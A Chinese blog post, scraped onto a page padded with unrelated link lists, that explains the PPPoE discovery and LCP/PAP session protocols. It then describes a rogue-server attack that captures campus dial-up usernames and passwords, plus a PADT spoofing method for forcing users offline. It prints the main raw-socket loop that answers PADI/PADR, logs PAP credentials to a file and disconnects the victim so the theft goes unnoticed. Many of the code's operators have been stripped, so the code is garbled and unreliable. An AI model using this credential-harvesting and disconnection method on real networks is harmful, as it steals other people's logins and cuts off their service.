当前位置: 首页 > news >正文

深圳福田区住房和建设局官方网站九江市建设局网站

深圳福田区住房和建设局官方网站,九江市建设局网站,广州地铁集团有限公司,软件商城官方下载楼主学生党一枚#xff0c;最近研究netkeeper有些许心得。 关于netkeeper是调用windows的rasdial来进行上网的东西#xff0c;网上已经有一大堆#xff0c;我就不赘述了。 本文主要讲解rasdial的部分核心过程#xff0c;以及我们可以利用它来干些什么。 netkeeper中rasdial…  楼主学生党一枚最近研究netkeeper有些许心得。 关于netkeeper是调用windows的rasdial来进行上网的东西网上已经有一大堆我就不赘述了。 本文主要讲解rasdial的部分核心过程以及我们可以利用它来干些什么。 netkeeper中rasdial是通过PPPOE来进行用户认证并提供上网的。 PPPOE分为两个阶段PPPOED即发现阶段和PPPOES会话阶段 关于PPPOED部分维基上有很详细的介绍 。给个链接 https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet 我只简略的说一下可以分为以下四个部分 PPPOED的协议格式数字代表字节数。 |    6       |        6       |    2    |  链路层 dstmac     srcmac      proctol   很简单不多说 |  1              |         1      |    2             |        2              | PPPOED头 ver_type           code        session id      payload len 固定为0x11   行为代码     会话id         后续报文的长度 |      payload len |  PPPOED tags。 这个不好说可以去wiki看看。   // proctol 注意字节序的问题#define PPPOED  0x8863#define PPPOES  0x8864//PPPOED code#define PPPOED_PADI 0x09 #define PPPOED_PADO 0x07 #define PPPOED_PADR 0x19 #define PPPOED_PADS 0x65 #define PPPOED_SESSION 0x00 #define PPPOED_PADT 0xa7struct PPPOE_hdr{    char dst[6];    char src[6];    char proctol[2];    char ver_type;    char code;    char sid[2];    char len[2];};struct PPPOE_tag{    char name[2];    char len[2];    char *value;};   PADI:由client发送。PPPOED tags 貌似必须要有host-uniq属性就是广播说我想上网谁能给我提供这个服务。 PADO:由server发送。PPPOED tags必须要有AC-name属性而且要有client发的PADI里的host-uniq属性。就是服务器说我可以给你下这个服务。 PADRclient发送。要有host-uniqclient向server请求上网服务当接收到多个server的PADO时一般向第一个收到的server请求服务。 PADSserver发送。要有PADR的host-uniq且需设置session id之后开始服务。   PPPOES我重点要讲的部分在网上搜了很久的资料也没搜到啥自己总结一下方便他人。 PPP  LCP协议格式:  PPPOES支持的协议太多而我们需要研究的只有LCP所以只讲LCP。前面与PPPOED相同.   |    6       |        6       |    2    |  链路层   dstmac     srcmac      proctol   很简单不多说   |  1              |         1      |    2             |        2              | PPPOED头   ver_type           code        session id      payload len 固定为0x11   行为代码     会话id         后续报文的长度 |        2        |  ppp proctol type |   1                    |       1        |       2       | LCP header  code                        id             len      LCP行为代码       验证id       len指LCP header与后续报文的长度与PPPOED不同  即 len 4 后续报文长度 |   len        | LCP opts //PPPOES proctol #define PPP_LCP 0xc021 #define PPP_PAP 0xc023 //LCP code #define LCP_REQUEST 0x01 #define LCP_ACK 0x02 #define LCP_NAK 0x03 #define LCP_REJECT 0x04 #define LCP_TERMINATIN_REQUEST 0x05 #define LCP_TERMINATION_ACK 0x06#define LCP_IDENTIFICATION 0x0c// PAP code #define PAP_REQUEST 0x01 #define PAP_ACK 0x02struct LCP_hdr{    struct PPPOE_hdr pppoe;    char proctol[2];    char code;    char id;    char len[2];    char padding[2];//填充字节对齐。};struct LCP_opt{    char name;    char len;    char* value;};   下面给个例子 讲完协议基础就将PPPOES具体发生了什么。楼主只研究过PAP所以下面讲PAP 1. client向server发送LCP request请求配置例如MTU之类的 2.server向client发送LCP ack或LCP reject若发的是rejectclient需要根据reject再发一份request直到server ack。 3.server向client发LCP requestLCP request中包含用户认证的方式CHAP 或 PAP。 4.client发LCP ack 5.client准备开始发送用户名和密码。发送3个LCP identification。 6.client开始发送用户名和密码。发送PAP报文。 7.server对用户名和密码进行认证若通过则通过IPCP进行ip配置。错误则无法上网。 下面给一个PAP报文的例子与LCP很相似。 上述总结一个图   ps楼主字丑勿喷。 应用 1.根据上面所讲的过程可知我们可以在别人拨号上网发PADI的时候发一个PADO伪装成server一般而言只要client先接收到的是我们的PADO我们就可以获取到用户名和密码窃取到密码以后我们就发送一个LCP termination request和PPPOED PADT在把用户的MAC加入窃取到的MAC表中对于窃取到的就不再进行拦截。 这样真正的用户在登录时只会出现一次登录失败之后正常用户也不会认为出了什么问题。 2.我们自己发PADI获取当前网段中的PPPOE服务器的mac再将自己的mac伪装成服务器的穷举session id 发送PADT给正在正常上网的用户就可以让他断网。   应用1楼主已经实现了2没做。源码就不发了防止有人搞破坏。 下面只贴出流程代码 int main() {int sock,recv_bytes,i 0;struct Mac src;struct Mac self getLocalMac(eth0);char buf[2048] {0};FILE * fpout;std::vectorstruct PPPOE_tag* tags;std::vectorstruct LCP_opt* opts;std::vectorstruct Mac* macMap;sock socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));fpout fopen(./password.txt,w);if (sock -1){perror(socket);exit(1);}while(1){i 0;recv_bytes recv(sock,buf,2048,0);src getSrcMac(buf);if (isMacInMap(src,macMap))continue;if( PPPOED getProctol(buf)){unsigned code;PPPOE_HeaderReader pppoe(buf,recv_bytes);pppoe.getPPPOED_tags(tags);code pppoe.getCode();if (code PPPOED_PADI)sendPADO(sock,src,tags);else if (code PPPOED_PADR)sendPADS(sock,src,tags);else if (code PPPOED_PADT)sendPADT(sock,src,tags,pppoe.getSessionId());release(tags);}if(PPPOES getProctol(buf)){PPPOE_HeaderReader pppoe(buf,recv_bytes);switch (getPPP_type(buf)){case PPP_LCP:pppoe.getLCP_opts();if(buf[22] LCP_REQUEST){HeaderBuilder builder;memcpy(buf,src.mac,6);memcpy(buf 6,self.mac,6);buf[22] LCP_ACK;sendEth(sock,buf,recv_bytes);buf[22] LCP_REQUEST;buf[25] 4 sizeof (lcp_request);builder.addHeader(buf,26);builder.addHeader(lcp_request,sizeof (lcp_request));sendEth(sock,builder.head(),builder.getsize());}else if (buf[22] LCP_TERMINATIN_REQUEST){HeaderBuilder builder;memcpy(buf,src.mac,6);memcpy(buf 6,self.mac,6);buf[22] LCP_ACK;sendEth(sock,buf,recv_bytes);}break;case PPP_PAP:struct Mac * tmpmac malloc(sizeof (struct Mac));memcpy(tmpmac,src,sizeof(struct Mac));macMap.push_back(tmpmac);recordPassword(fpout,buf);sendPADT(sock,src,tags,pppoe.getSessionId());break;}release(opts);}}close(sock);release(macMap);fclose(fpout);return 0; }  转载于:https://www.cnblogs.com/sky-star/p/pppoe.html
http://www.pierceye.com/news/110153/

相关文章:

  • 做网站按页面收费视频解析网站如何做搜索
  • 太原网站的公司赣州安全教育平台
  • 淮北建投网站网站推广与维护有什么不同
  • 深圳网站备案注销平果县免费网站哪家好
  • 如何区分网站开发语言做网站多少钱一般
  • 定制专业app开发seo数据统计分析工具有哪些
  • 某服装公司网站建设论文网站建设seo虾哥网络
  • 网站建设销售员工作内容网站访问量过大
  • 企业网站加快企业信息化建设设计网站名称
  • 做网站的技术要求高吗农业推广专业
  • 在百度做个卷闸门网站怎么做成都高端网站
  • 个人网站备案名称填写货运网站建设公司
  • 有网页源码 怎么做网站外链发布软件
  • 医疗网站建设基本流程wordpress速度加快
  • 网站建设优化开发公司哪家好泰州东方医院男科
  • 怎么自己做歌曲网站大连网站制作公司费用多少
  • 网站专题设计稿用vue做商城网站常用的js
  • 怎么在免费空间里面做网站深圳英文站seo
  • 学风建设网站版块如何用visual studio做网站
  • 山东响应式网站设置字体颜色的网站
  • 美容院网站建设西安有关做网站的公司有哪些
  • 湛江做网站设计公司网络推广网站培训班
  • 大型网站建立萝岗微信网站建设
  • 门户网站建设发展趋势官网网站怎么创建
  • 企业网站如何做自然搜索phpcms 网站转移
  • 站内优化怎么做建设设计网站
  • 如何建设机器人教育网站上海有名的网络公司
  • 网站二级目录做网站淄博网站建设 很乱
  • 常州做网站企业海口网站开发建设
  • 做php网站用什么软件开发wordpress页面图片轮播图